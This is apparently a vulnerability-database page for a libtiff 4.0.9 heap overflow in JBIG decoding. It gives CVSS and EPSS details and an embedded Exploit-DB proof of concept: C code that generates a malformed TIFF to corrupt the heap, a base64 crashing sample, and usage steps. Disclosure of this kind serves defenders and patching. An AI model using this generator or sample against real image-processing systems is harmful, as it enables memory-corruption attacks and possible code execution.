Related Weaknesses
| CWE-ID |
Weakness Name |
Source |
| CWE-787 |
Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer. |
|
Metrics
| Metrics |
Score |
Severity |
CVSS Vector |
Source |
| V3.0 |
8.8 |
HIGH |
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
| V2 |
6.8 |
|
AV:N/AC:M/Au:N/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 45694
Publication date : 2018-10-24 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes
/*
libtiff up to and including 4.0.9 decodes arbitrarily-sized JBIG into a buffer, ignoring the buffer size.
The issue occurs because JBIGDecode entirely ignores the size of the buffer that is passed to it:
static int JBIGDecode(TIFF* tif, uint8* buffer, tmsize_t size, uint16 s)
{
struct jbg_dec_state decoder;
int decodeStatus = 0;
unsigned char* pImage = NULL;
(void) size, (void) s;
if (isFillOrder(tif, tif->tif_dir.td_fillorder))
{
TIFFReverseBits(tif->tif_rawdata, tif->tif_rawdatasize);
}
jbg_dec_init(&decoder);
(...)
decodeStatus = jbg_dec_in(&decoder, (unsigned char*)tif->tif_rawdata,
(size_t)tif->tif_rawdatasize, NULL);
if (JBG_EOK != decodeStatus)
{
(...)
}
pImage = jbg_dec_getimage(&decoder, 0);
_TIFFmemcpy(buffer, pImage, jbg_dec_getsize(&decoder));
jbg_dec_free(&decoder);
return 1;
}
The 4th line above is apparently to silence compiler warnings; the code proceeds to decode the JBIG contents, and then blindly copies as many bytes as decoded into the target buffer by means of _TIFFmemcpy.
The attack primitive here ends up as follows:
1) The attacker gets to perform an allocation of a size of his choosing.
2) The attacker gets to write a pretty arbitrary amount of data of his choosing into this buffer.
Reproducing testcases can be generated using the following C code:
=============================================================================
*/
#include <stdlib.h>
#include <stdio.h>
#include <sys/stat.h>
#include <stdint.h>
#include "jbig.h"
void output_bie(unsigned char *start, size_t len, void *file)
{
fwrite(start, 1, len, (FILE *) file);
return;
}
int main(int argc, char**argv)
{
FILE* inputfile = fopen(argv[1], "rb");
FILE* outputfile = fopen(argv[2], "wb");
// Write the hacky TIF header.
unsigned char buf[] = {
0x49, 0x49, // Identifier.
0x2A, 0x00, // Version.
0xCA, 0x03, 0x00, 0x00, // First IFD offset.
0x32, 0x30, 0x30, 0x31,
0x3a, 0x31, 0x31, 0x3a,
0x32, 0x37, 0x20, 0x32,
0x31, 0x3a, 0x34, 0x30,
0x3a, 0x32, 0x38, 0x00,
0x38, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00,
0x38, 0x00, 0x00, 0x00,
0x00, 0x01, 0x00, 0x00
};
fwrite(&(buf[0]), sizeof(buf), 1, outputfile);
// Read the inputfile.
struct stat st;
stat(argv[1], &st);
size_t size = st.st_size;
unsigned char* data = malloc(size);
fread(data, size, 1, inputfile);
// Calculate how many "pixels" we have in the input.
unsigned char *bitmaps[1] = { data };
struct jbg_enc_state se;
jbg_enc_init(&se, size * 8, 1, 1, bitmaps, output_bie, outputfile);
jbg_enc_out(&se);
jbg_enc_free(&se);
// The raw JBIG data has been written, now write the IFDs for the TIF file.
unsigned char ifds[] = {
0x0E, 0x00, // Number of entries. +0
0xFE, 0x00, // Subfile type. +2
0x04, 0x00, // Datatype: LONG. +6
0x01, 0x00, 0x00, 0x00, // 1 element. +10
0x00, 0x00, 0x00, 0x00, // 0 +14
0x00, 0x01, // IMAGE_WIDTH +16
0x03, 0x00, // Datatype: SHORT. +18
0x01, 0x00, 0x00, 0x00, // 1 element. +22
0x96, 0x00, 0x00, 0x00, // 96 hex width. +26
0x01, 0x01, // IMAGE_LENGTH +28
0x03, 0x00, // SHORT +30
0x01, 0x00, 0x00, 0x00, // 1 element +34
0x96, 0x00, 0x00, 0x00, // 96 hex length. +38
0x02, 0x01, // BITS_PER_SAMPLE +40
0x03, 0x00, // SHORT +42
0x01, 0x00, 0x00, 0x00, // 1 element +46
0x01, 0x00, 0x00, 0x00, // 1 +50
0x03, 0x01, // COMPRESSION +52
0x03, 0x00, // SHORT +54
0x01, 0x00, 0x00, 0x00, // 1 element +58
0x65, 0x87, 0x00, 0x00, // JBIG +62
0x06, 0x01, // PHOTOMETRIC +64
0x03, 0x00, // SHORT +66
0x01, 0x00, 0x00, 0x00, // 1 element +70
0x00, 0x00, 0x00, 0x00, // / +74
0x11, 0x01, // STRIP_OFFSETS +78
0x04, 0x00, // LONG +80
0x13, 0x00, 0x00, 0x00, // 0x13 elements +82
0x2C, 0x00, 0x00, 0x00, // Offset 2C in file +86
0x15, 0x01, // SAMPLES_PER_PIXEL +90
0x03, 0x00, // SHORT +92
0x01, 0x00, 0x00, 0x00, // 1 element +94
0x01, 0x00, 0x00, 0x00, // 1 +98
0x16, 0x01, // ROWS_PER_STRIP +102
0x04, 0x00, // LONG +104
0x01, 0x00, 0x00, 0x00, // 1 element +106
0xFF, 0xFF, 0xFF, 0xFF, // Invalid +110
0x17, 0x01, // STRIP_BYTE_COUNTS +114
0x04, 0x00, // LONG +116
0x13, 0x00, 0x00, 0x00, // 0x13 elements +118
0xC5, 0xC0, 0x00, 0x00, // Read 0xC0C5 bytes for the strip? +122
0x1A, 0x01, // X_RESOLUTION
0x05, 0x00, // RATIONAL
0x01, 0x00, 0x00, 0x00, // 1 element
0x1C, 0x00, 0x00, 0x00,
0x1B, 0x01, // Y_RESOLUTION
0x05, 0x00, // RATIONAL
0x01, 0x00, 0x00, 0x00, // 1 Element
0x24, 0x00, 0x00, 0x00,
0x28, 0x01, // RESOLUTION_UNIT
0x03, 0x00, // SHORT
0x01, 0x00, 0x00, 0x00, // 1 Element
0x02, 0x00, 0x00, 0x00, // 2
0x0A, 0x01, // FILL_ORDER
0x03, 0x00, // SHORT
0x01, 0x00, 0x00, 0x00, // 1 Element
0x02, 0x00, 0x00, 0x00, // Bit order inverted.
0x00, 0x00, 0x00, 0x00 };
// Adjust the offset for the IFDs.
uint32_t ifd_offset = ftell(outputfile);
fwrite(&(ifds[0]), sizeof(ifds), 1, outputfile);
fseek(outputfile, 4, SEEK_SET);
fwrite(&ifd_offset, sizeof(ifd_offset), 1, outputfile);
// Adjust the strip size properly.
fseek(outputfile, ifd_offset + 118, SEEK_SET);
fwrite(&ifd_offset, sizeof(ifd_offset), 1, outputfile);
fclose(outputfile);
fclose(inputfile);
return 0;
}
/*
===============================================================
Build & link with -ljbig.
You can then create a new TIFF file that corrupts the heap by doing
./a.out file_with_data_to_clobber_the_heap_with.txt outputfile.tiff
An example TIFF file that crashes various tiff readers is base64-encoded
below:
SUkqAEgYAAAyMDAxOjExOjI3IDIxOjQwOjI4ADgAAAABAAAAOAAAAAABAAAAAAEAAAC8uAAAAAEA
AAACCAADHNKk0nHy6CbJhVojbsYUZY8vZ+LcRHKCtFjvAcJJY+JibZEZudFeppijmo6K5rQICnd4
Z1zp2bHgMe0JNyzpKY6w/wA4FRbBmV1c+nqZnTk5lH4pnM2x38kR5widHbZSZofrR/RrOxrBrEAR
Ch8ElW2dRwbu3s84jVJkaHSGLNBrA2vtCCKGwuZhkCKq+Uy/Lwov48I7uQoXOsif0xAemOgQv47v
wgwL0yKYY5e+Qp0mCG4kIMXh/Hl6WqiKVJ2vgds8WQuvGXWFLcRdDY7GQ3AIgcMm7s/YpHXeec/2
t3xPPnrYtI/NOMJU/pTZSY2oHKqDbjN5iTdjqEtkj5xKXL6jq1NSeFYIKaPn0LLJSXj+oagzRkia
PmlovyFoddyMpEfBclvJvj7RQ2IN/wAnOptUPR8XJ90XVJvuhjIXEovbo3Aq2QIp5GXnmDUSFolu
qIhWaE6adyhyYV0WUXurfIuez7denhEUhAAJXSvBWuM1M5+3fjbQPepOVvgvW56qMIMcbLa4hAWe
jFABZ5x6PDHtbK5O3nCEwOUbIENNDoFEw7AyqfWQo1isx8/XSP3FU6ohtin8QLiM72QJfi6rrL+Y
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fuzWZ4N/tP8AzcHanc6NdhyLKieoRAFY3bQP3TXaMeg2dYNrkxy5VeLSp2AHBGnOaBKRgknB3XvT
dF2vICjoqVxfBLDt2ApOxLQ6yyL+dKhlP0NkKj5yReF1loqsm29o02F5GxJuJTUhygxhd7rFNSQS
nHgkmhrf33LCKJ5Pnsmv/EVPCFWg+vHkyPr6wOJ84tFTbfkDl/DzAcoMzbINNaMAq5LsulsCNTRi
yKBZKmhtzBRG/N0tVJfd6dhab0nNAiaCLXg0O2PBARweKgc0ySsG/wACT0pmzzUn1l8qDjNfeqfc
vJhwGdQwTu/Q82Sfoe09I+PQhGPzBP4Ui/JATeD/AK+LrSv41eOzB6RzTVMSoNPvlR1f0AmZWQHm
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AAAAAAAA
Labels:
Vendor-libtiff
Product-libtiff
Severity-High
Methodology-source-review (e.g. Methodology-source-review)
Finder-thomasdullien
Reported-2018-Oct-13
*/
Products Mentioned
Configuraton 0
Libtiff>>Libtiff >> Version 4.0.9
Configuraton 0
Debian>>Debian_linux >> Version 8.0
Debian>>Debian_linux >> Version 9.0
Configuraton 0
Canonical>>Ubuntu_linux >> Version 14.04
Canonical>>Ubuntu_linux >> Version 16.04
Canonical>>Ubuntu_linux >> Version 18.04
Canonical>>Ubuntu_linux >> Version 18.10
References
